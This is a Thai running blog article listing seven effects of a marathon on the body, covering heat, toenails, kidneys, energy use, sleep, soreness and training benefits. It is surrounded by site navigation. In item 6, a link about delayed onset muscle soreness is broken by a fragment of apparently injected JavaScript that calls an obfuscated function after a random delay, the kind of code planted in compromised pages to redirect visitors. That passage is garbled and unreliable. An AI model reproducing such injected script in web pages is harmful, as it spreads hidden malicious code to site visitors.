• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News

นักวิ่งควรรู้:เกิดอะไรขึ้นกับร่างกายขณะวิ่งมาราธอน

kan by kan
10 July 2019
in News, Running Tips
0
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ใช้ใจวิ่ง ไม่ใช่คาถาแก้ปัญหาเวลาลงวิ่งแข่งขันมาราธอน แต่การว่างแผนฝึกซ้อมที่ดีจะช่วยให้เราจบได้อย่างสวยงามต่างหาก ทั้งเรื่องการวิ่งเพื่อฝึก CARDIO & ENDURANCE การฝึก STRENGTH TRAINING เพื่อเพิ่มความแข็งแกร่งให้กล้ามเนื้อ และโภชนาการ การหัดดื่มน้ำและรับประทานหาร เพื่อการ REFUEL ขณะวิ่งแข็งขัน ส่วนการใช้ใจวิ่ง การตั้งใจอย่างแน่วแน่นั้น ขอให้มาเป็นเรื่องสุดท้าย ร่างกายไม่พร้อมฝืนวิ่งไป จะเกิดอาการบาดเจ็บ นอนพักฟื้นนานเป็นเดือนแทน

นักวิ่งควรรู้:เกิดอะไรขึ้นกับร่างกายขณะวิ่งมาราธอน

การวิ่งมาราธอน เป็นวิธีเผาผลาญไขมันที่ดีอย่างหนึ่ง แถมได้พัฒนาระบบภูมิต้านทานและเสริมสร้างความแข็งแกร่งของจิตใจ แต่วิ่งมาราธอนใช้จะมีแต่ด้านดี ด้วยระยะทางถึง 42.195K ร่างกายก็สะสมความเครียดจากการวิ่งไปมากเช่นกัน อย่างเช่น การเพิ่มขึ้นของอุณหภูมิร่างกาย การทำงานหนักของไต และอาการปวดเมื่อยล้าของกล้ามเนื้อช่วงล่าง จนกระทั้งการทะเลาะกับบันไดหรือเกิดตะคริงเมื่อตอนตื่นนอน

หากจะลงวิ่งมาราธอน อยากจะให้ผู้อ่านลองดู 7 สิ่งที่จะเกิดขึ้นกับร่างกายเราขณะวิ่งมาราธอน…

1. อุณหภูมิร่างกายจะพุ่งสูงขึ้น เมื่อเริ่มวิ่งไปอุณหภูมิร่างกายก็จะเริ่มเพิ่มสูงขึ้น ด้วยระยะทางที่ต้องวิ่งจนจบ อุณหภูมิอาจจะสูงถึง 38-39 °C (คล้ายๆ กับตอนเป็นไข้หวัดตัวร้อน) ดังนั้นการวางแผนดื่มน้ำเพื่อรักษาระดับน้ำในร่างกายขณะวิ่งและหลังจบจึงเป็นเรื่องสำคัญ นอกจากนนี้ให้ระวังเรื่อง HYPER- และ HYPOTHERMIA ด้วย

2. นิ้วเล็บช่ำและเล็บหลุด เนื่องจากการวิ่งระยะไกล ฝ่าเท้าจะถูกถูไถไปมา บริเวณนิ้วเท้าจะชนผนังรองเท้าไปมา พอนานเข้า อาจจะเกิดเท้าพองหรือนิ้วเล็บม่วงช่ำและหลุดเลือดออกได้ ดังนั้นควรเลือกรองเท้าที่มีความฟิตพอดี ระวังการวิ่งขึ้นลงเนิน เพราะโอกาสนิ้วกระแทกผนังรองเท้าด้านหน้าจะมีสูง

3. ไตทำงานหนัก ผลการสำรวจของ YALE RESEARCHERS พบว่นักวิ่งมาราธอนมีการบาดเจ็บที่ไต ระยะเฉียบพลันระยะที่ 1พบถึงร้อยละ 80 หลังจบการวิ่งมาราธอน แต่ทั้งนี้การฝึกวิ่งทั่วไปไม่ได้ก่อนให้เกิดอันตรายต่อไต แต่การวิ่งระยะทางไกลและการวางแผนดื่มน้ำที่แย่ จะทำให้ไตทำงานหนักมากขึ้น 

4. ร่างกายกำลังเผาผลาญไขมันจำนวนมหาศาล โดยร่างกายสามารถเผาผลาญได้ถึงชั่วโมงละ 600-800 KCAL เลยทีเดียว แต่ร่างกายสามารถสะสมพลังงานได้ที่ 500 กรัมของไกลโคเจน แปรงเป็นพลังงานได้ประมาณ 2,000 KCAL และทุก 1K ร่างกายจะเผาพลังงานไปประมาณ 100-125 KCAL ดังนั้นนักวิ่งจึงควรวางแผนการ REFUEL ให้ดี ถ้าไม่ดีก็อาจจะสัมผัสประสบการณ์วิ่งชนกำแพงก็ได้

5. อาการนอนไม่หลับกลางคืน หลังจบมาราธอน นักวิ่งหลายๆ คนอาจจะมีประสบการณ์นอนหลับยาก ตัวร้อนๆ อันเนื่องมาจากอาการ AFTER BURN และอาการที่ร่างกายได้หลั่งฮอร์โมนออกมามากมายระหว่างการวิ่ง (STRESS HORMONE CORTISOL)

6. ขาและช่วงล่างของร่างกาย (LOWER BODY) จะมีอาการปวดเมื่อย กล้ามเนื้อมีอาการตึง หรือเป็นตะคริวได้ สามารถเกิดขึ้นได้ทั้งระหว่างวิ่งและจบการแข่งขัน โดยเฉพาะอย่างยิ่งอาการปวดเมื่อยที่เรียกว่า andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andle-muscle-soreness/” target=”_blank” rel=”noreferrer noopener”>DELAYED ONSET MUSCLE SORENESS หรือ DOMS ที่จะเกิดขึ้นหลังจบการวิ่งไปสัก 1 วันและจะหนักขึ้นสูงสุดใน 2-3 วัน

7. ถ้าซ้อมถึง คุณก็จะจบอย่างสวยงาม ร่างกายไม่บาดเจ็บ ร่างกายมีการพัฒนาภูมิคุ้มกันร่างกายที่ดีขึ้น lสุขภาพดีขึ้น และเพราะวินัยที่คุณใส่ลงไประหว่างการฝึกซ้อม จะช่วยให้ร่างกายมีระบบต่างๆ ทำงานได้ดีขึ้น ระบบเผาผลาญพลังงานที่ดีขึ้น ร่งกายเฟริ์ม ช่วยลดความเครียด ช่วยปรับและ MIND SET ให้เข้มแข็งขึ้น

อ้างอิง BLOG.MAPMYRUN.COM

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.